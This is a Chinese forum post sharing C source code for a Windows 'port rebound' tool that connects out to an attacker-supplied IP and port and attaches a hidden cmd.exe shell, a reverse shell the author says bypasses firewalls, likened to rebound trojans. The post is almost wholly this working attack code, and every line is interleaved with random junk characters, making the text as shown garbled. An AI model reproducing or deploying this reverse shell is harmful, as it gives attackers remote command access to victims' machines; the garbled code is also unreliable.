社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4111阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d0C8*ifFO  
2Yyb#Ow  
/* ============================== WhUa^  
Rebound port in Windows NT  "jU  
By wind,2006/7 bBE^^9G=Z  
===============================*/ = ?N^>zie  
#include D$_8rHc\A  
#include &R\XUxI  
6hbEO-(  
#pragma comment(lib,"wsock32.lib") @&/\r 7 '  
?2~U2Ir]:  
void OutputShell(); 8SD}nFQ  
SOCKET sClient; NFoZ4R1gy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cy:;)E>/  
8 G?b.NE^  
void main(int argc,char **argv) V}`M<A6:  
{ *t =i  
WSADATA stWsaData; C/+nSe.  
int nRet; 7L{li-crI  
SOCKADDR_IN stSaiClient,stSaiServer; p6blD-v  
c57bf  
if(argc != 3) nJ# XVlHc  
{ k`IrZHMw  
printf("Useage:\n\rRebound DestIP DestPort\n"); E2yz=7sv5  
return; oBUh]sR{.  
} dx359  
x9*ys;~w  
WSAStartup(MAKEWORD(2,2),&stWsaData); Rc7.M"wzjX  
gLCz]D.'  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "=`~iXT{e  
A[Cg/ +Z  
stSaiClient.sin_family = AF_INET; w:tGPort  
stSaiClient.sin_port = htons(0); 3Bd4 C]E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dt.-C_MO  
Nzc>)2% N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :Ba-u  
{ OX,F09.C  
printf("Bind Socket Failed!\n"); &@'V\5G  
return; cJ4S!  
} ` t\z   
F9D"kG;Dk  
stSaiServer.sin_family = AF_INET; xhD$e= g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?HxS)Pqq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kOM-  
H5^Y->  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) & 3I7]Wm  
{ ) hPVX()O!  
printf("Connect Error!"); (E]"Srwh  
return; KH)pJG|NY  
} ,yi2O]5e>!  
OutputShell(); o(SuUGW  
} 6Wu*.53  
(jneEo=vr  
void OutputShell() M7pvxChA  
{ s_` V*`n&  
char szBuff[1024]; ^*zW"s  
SECURITY_ATTRIBUTES stSecurityAttributes; B$EK_@M  
OSVERSIONINFO stOsversionInfo; <lX:eR1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L3' \r  
STARTUPINFO stStartupInfo; <wqRk<  
char *szShell; 9e76 pP(  
PROCESS_INFORMATION stProcessInformation; $@4e(Zrmo  
unsigned long lBytesRead; l2M/ ,@G  
;W4:#/~14  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a:xgjUt&5  
{N@Y<=+:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JbVi1?c  
stSecurityAttributes.lpSecurityDescriptor = 0; 6A@Lj*:2m  
stSecurityAttributes.bInheritHandle = TRUE; VG#$fRrZ  
:EaiM J_=  
{C,  #rj  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nR#a)et  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a#6,#Q"  
A9.;>8!u  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FrgV@4'2G  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FRD<0o/`  
stStartupInfo.wShowWindow = SW_HIDE; pJ$(ozV  
stStartupInfo.hStdInput = hReadPipe; *@=fq|6l 2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A<1l^%i  
FL~9</  
GetVersionEx(&stOsversionInfo); !}C4{Bgt*  
_fe0,  
switch(stOsversionInfo.dwPlatformId) k@lXXII ?  
{ ]qF<Zw7  
case 1: %G^(T%q| m  
szShell = "command.com"; 7a27^b  
break; k.h^ $f  
default: )<tzm'Rc  
szShell = "cmd.exe"; 8:BQHYeJK  
break; oO}>i0ax*  
} 6#/LyzZq|  
3 pHn_R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ] +sSg=N7i  
>dcqPNDg1^  
send(sClient,szMsg,77,0); 1_XO3P\  
while(1) nN!vgn j  
{ ^S:cNRSW"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <(ubZ  
if(lBytesRead) sd]0Hx[  
{ ($,iAb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /:Rn"0   
send(sClient,szBuff,lBytesRead,0); v^57j:sD  
} 'G3+2hah  
else KX$qM g1j  
{ B1up^(?  
lBytesRead=recv(sClient,szBuff,1024,0); o4U]lK$  
if(lBytesRead<=0) break; y`T--v3mI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y|Nfwqz  
} a'o}u,e5  
} ,5`."-0}  
z1)$  
return; ,$ho2R),Fn  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五